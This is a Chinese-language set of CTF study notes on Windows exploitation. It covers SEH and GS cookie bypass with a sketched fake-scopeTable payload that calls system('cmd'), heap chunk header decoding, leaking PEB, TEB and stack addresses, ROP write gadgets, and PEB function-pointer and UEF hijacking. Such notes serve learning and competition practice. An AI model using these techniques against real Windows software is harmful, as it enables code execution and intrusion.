windows pwn学习笔记
[TOC]
安装winpwn
pip install winpwn
pip install pefile
pip install keystone-engine
pip install capstone
栈溢出
相关结构体
32为系统下SEH结构体
//sehFrame
_EH3_EXCEPTION_REGISTRATION struc ; (sizeof=0x10, align=0x4, copyof_4)
0x0 Next dd ? ; offset
0x4 ExceptionHandler dd ? ; offset
0x8 ScopeTable dd ? ; XREF: _main+21/w ; offset
0xC TryLevel dd ? ; XREF: _main+57/w
0x10 _EH3_EXCEPTION_REGISTRATION ends
//scopeTable
_EH4_SCOPETABLE struc ; (sizeof=0x10, align=0x4, copyof_9, variable size)
0x0 GSCookieOffset dd ?
0x4 GSCookieXOROffset dd ?
0x8 EHCookieOffset dd ?
0xC EHCookieXOROffset dd ?
0x10 ScopeRecord _EH4_SCOPETABLE_RECORD 0 dup(?)
0x10 _EH4_SCOPETABLE ends
//scopeTable_Record
_EH4_SCOPETABLE_RECORD struc ; (sizeof=0xC, align=0x4, copyof_8)
0x0 EnclosingLevel dd ?
0x4 FilterFunc dd ? ; offset
0x8 HandlerFunc dd ? ; offset
0xC _EH4_SCOPETABLE_RECORD ends
触发异常源码
GS Cookies 验证代码
void __cdecl ValidateLocalCookies(void (__fastcall *cookieCheckFunction)(unsigned int), _EH4_SCOPETABLE *scopeTable, char *framePointer)
{
unsigned int v3; // esi@2
unsigned int v4; // esi@3
if ( scopeTable->GSCookieOffset != -2 )
{
v3 = *(_DWORD *)&framePointer[scopeTable->GSCookieOffset] ^ (unsigned int)&framePointer[scopeTable->GSCookieXOROffset];
__guard_check_icall_fptr(cookieCheckFunction);
((void (__thiscall *)(_DWORD))cookieCheckFunction)(v3);
}
v4 = *(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int)&framePointer[scopeTable->EHCookieXOROffset];
__guard_check_icall_fptr(cookieCheckFunction);
((void (__thiscall *)(_DWORD))cookieCheckFunction)(v4);
}
会验证两个条件:
1、framePointer[scopeTable->GSCookieOffset] ^ framePointer[scopeTable->GSCookieXOROffset]== __security_cookie
2、framePointer[scopeTable->EHCookieOffset] ^ framePointer[scopeTable->EHCookieXOROffset]== __security_cookie
要绕过这检查1,可以伪造scopeTable->GSCookieOffset=0xfffffffe
。但是对于条件2,还没有办法。
异常触发函数
int __cdecl _except_handler4_common(unsigned int *securityCookies, void (__fastcall *cookieCheckFunction)(unsigned int), _EXCEPTION_RECORD *exceptionRecord, unsigned __int32 sehFrame, _CONTEXT *context)
{
// 异或解密 scope table
scopeTable_1 = (_EH4_SCOPETABLE *)(*securityCookies ^ *(_DWORD *)(sehFrame + 8));
// sehFrame=Next, framePointer=ebp
framePointer = (char *)(sehFrame + 16);
scopeTable = scopeTable_1;
// 验证 GS
ValidateLocalCookies(cookieCheckFunction, scopeTable_1, (char *)(sehFrame + 16));
__except_validate_context_record(context);
if ( exceptionRecord->ExceptionFlags & 0x66 )
{
......
}
else
{
exceptionPointers.ExceptionRecord = exceptionRecord;
exceptionPointers.ContextRecord = context;
tryLevel = *(_DWORD *)(sehFrame + 12);
*(_DWORD *)(sehFrame - 4) = &exceptionPointers;
if ( tryLevel != -2 )
{
while ( 1 )
{
v8 = tryLevel + 2 * (tryLevel + 2);
filterFunc = (int (__fastcall *)(_DWORD, _DWORD))*(&scopeTable_1->GSCookieXOROffset + v8);
scopeTableRecord = (_EH4_SCOPETABLE_RECORD *)((char *)scopeTable_1 + 4 * v8);
encloseingLevel = scopeTableRecord->EnclosingLevel;//-2跳出后面的循环
scopeTableRecord_1 = scopeTableRecord;
if ( filterFunc )
{
// 调用 FilterFunc
filterFuncRet = _EH4_CallFilterFunc(filterFunc);
......
if ( filterFuncRet > 0 )
{
......
// 调用 HandlerFunc
_EH4_TransferToHandler(scopeTableRecord_1->HandlerFunc, v5 + 16);
......
}
}
......
tryLevel = encloseingLevel;
if ( encloseingLevel == -2 )
break;
scopeTable_1 = scopeTable;
}
......
}
}
......
}
这里要劫持filterFunc,就需要劫持scopeTable。这需要满足两个条件:需要能覆盖掉sehFrame结构体,并且能泄露securityCookies。
payload
#伪造scopeTable
scopeTable = [
0x0FFFFFFFE, #GSCookieOffset
0, #GSCookieXOROffset
0x0FFFFFFCC, #EHCookieOffset
0 #EHCookieXOROffset
]
scopeTable_Record = [
0xfffffffe, #EnclosingLevel=-2
system('cmd'), #FilterFunc
0
]
sehFrame = [
Next, #original
ExceptionHandler, #original
scopeTable_addr, #fake
trylevel #如果要伪造trylevel,就需要修改scopeTable,否则就不篡改,维持original
]
payload = flat(scopeTable + scopeTable_Record)
payload += padding
paylaod += GS#___security_cookie 相当于canary
payload += Next + ExceptionHandler +scopeTable_addr + flat(sehFrame)#覆盖sehFrame结构
其中GS的位置计算方法如下:要满足[ebp + scopeTable->EHCookieOffset] ^ [ebp + scopeTable->EHCookieXOROffset]=GS
,scopeTable结构体的EHCookieOffset变量和EHCookieXOROffset变量所对应的ebp的偏移的位置的值抑或后等于GS。因此通常将EHCookieXOROffset设置为0,那么GS放置的位置就等于ebp + scopeTable->EHCookieOffset。
64位与32位的区别
1、windows 64位程序函数调用的参数顺序依次为rcx,rdx,r8,r9
2、在调用system(cmd.exe)过程中,若出现MOVAPS [rsp+0x4f0],xmm0
之类的错误而导致不能反弹shell,这是因为MOVAPS指令需要16字节对齐,因此需要在rop链中修改gadget来调整栈空间
堆溢出
相关结构体
32位下,chunk头部字段信息
ntdll!_HEAP_FREE_ENTRY
+0 Size #chunk的大小,实际大小为Size*8
+2 PreviousSize #前一个chunk的大小,实际大小*8
+4 SmallTagIndex #用于检查堆溢出的Cookie
+5 Flags #标志位
+6 UnusedBytes #用于对齐的字节数
+7 SegmentIndex #所属堆段号
+8 FreeList :[FD-BK]
Flags标志位:
0x01 Busy #该块处于占用状态
0x02 Extra present #该块存在额外描述
0x04 Fill pattern #使用固定模式填充堆块
0x08 Virtual Alloc #虚拟分配
0x10 Last entry #该段最后一个堆块
SmallTagIndex 实际上是安全cookie,算法如下:_HEAP._HEAP_ENTRY.cookie=_HEAP_ENTRY.cookie^((BYTE)&_HEAP_ENTRY/8)
Heap Entry相当于Linux下的chunk,windows对前8个字节进行了加密,加密方式:与HEAP结构0x50偏移处8个字节抑或
例题:2020强网杯wingame
例如0xE50000处为HEAP结构,其HEAP+0x50为解密密钥0C5FBB3EFE5600
,而一般密钥都是00结尾
将chunk的前8个字节与密钥逐位异或,得到21000120 01020008
。size=0x21*8=0x108
利用方式
1、修改栈返回地址ROP(最常用)
首先需要实现任意读写,泄露栈地址的过程如下:
ntdll -> ntdll!PebLdr泄露peb ->计算处teb -> 栈地址 ->遍历查找ret地址
ret_content = base + 0x239a
ret_addr = 0
for i in range(stackbase,stackbase-0x1000,-4):
if ret_addr==0:
tmp = re(i)
if tmp==ret_content:
ret_addr = i
break
assert ret_addr>0
一段有用的gadget : mov [rcx],rdx; ret
这段gadget可以在ntdll.dll中可以找到,如果配合上pop rcx;ret以及pop rdx;ret
可以实现任意地址写并且在rop中传参时也能发挥很好的作用
在ida中搜索peb偏移的方法:
现在微软应该是把在线符号表给墙了,因为某些原因不能科学上网(懒),所以在用windbg的时候无法下载符合本地系统的pdb。这里我使用x64dbg进行调试。
1、在ida中打开ntdll,搜索函数LdrQueryImageFileExecutionOptions,交叉引用找到调用它的地方,如下图所示:
2、在上面可以发现一个位于.data的全局变量peb_44(我自己命名的),然后找到它在.data中的位置,如下图所示:
3、可以看到peb_44的偏移为ntdll+0x11dc54(这个偏移是我本机win10 版本号为18363的32位ntdll的偏移)
4、最后在调试器中定位到ntdll+0x11dc54,可以看到一个peb+0x44的值,从而可以泄露peb。
在NT内核系统中fs寄存器指向TEB结构,TEB+0x30处指向PEB结构,PEB+0x0c处指向PEB_LDR_DATA结构,PEB_LDR_DATA+0x1c处存放一些指向动态链接库信息的链表地址,win7下第一个指向ntdl.dll,第三个就是kernel32.dll的。可以通过查看线程TEB+0x30的内容检查是否为正确的PEB地址或者查看PEB+0xc是否为ntdll中的地址。
5、泄露栈地址
PEB->TEB->stack
PEB和TEB的偏移是固定的,在本地调试中的偏移为TEB=PEB+0x3000
在TEB前三个指针都是栈的指针,第一个估计是ebp附近的SEH_RECODE[1]的地址指针,第二个估计是stack base,第三个估计是stack end。我们搜索栈空间寻找返回地址时,大概从stack base-0x1000开始搜索到stack base这一个页面的内容就行了。
从kernel32.dll泄露ntdll
如果原程序中没有ntdll的导入表,可以从kernel32.dll中泄露,方法如下(源自https://xz.aliyun.com/t/6319#toc-4) :
可以从kernel32.dll中定位到NtCreateFile函数的偏移,因为NtCreateFile函数是从ntdll.dll的导入函数。在我win10 18363虚拟机中,偏移为kernel32.dll+0x819BC。
再进一步,如果只泄露了一个dll动态库的地址,只要其有其他dll库的导入函数,我们就有可能从其内存空间中泄露处其他dll库的地址。
2、篡改PEB中的函数指针
PEB结构中存放了RtlEnterCriticalSection()和RtlLeaveCriticalSection()函数指针,在程序正常退出时会调用ExitProcess(),为了同步线程该函数又会调用RtlEnterCriticalSection()及RtlLeaceCriticalSection()进行处理。
//32位
RtlEnterCriticalSection = &PEB + 0x20;
RtlLeaveCriticalSection = &PEB + 0x24;
3、UEF
系统默认异常处理函数(UEF,Unhandler Exception Filter)是系统处理异常时最后调用的一个异常处理例程,在堆溢出中,只需将这一地址覆盖为我们的shellcode地址即可。获取UEF地址的方法可以通过查看SetUnhandledExceptionFilter()的代码来定位,接着再找到操作UnhandledExceptionFilter指针的MOV指令
77E93114 A1 B473ED77 MOV EAX,DWORD PTR DS:[77ED73B4] ;UnhandledExceptionFilter指针
77E93119 3BC6 CMP EAX,ESI
77E9311B 74 15 JE SHORT kernel32.77E93132
77E9311D 57 PUSH EDI
77E9311E FFD0 CALL EAX
Reference
- wingame.zip 下载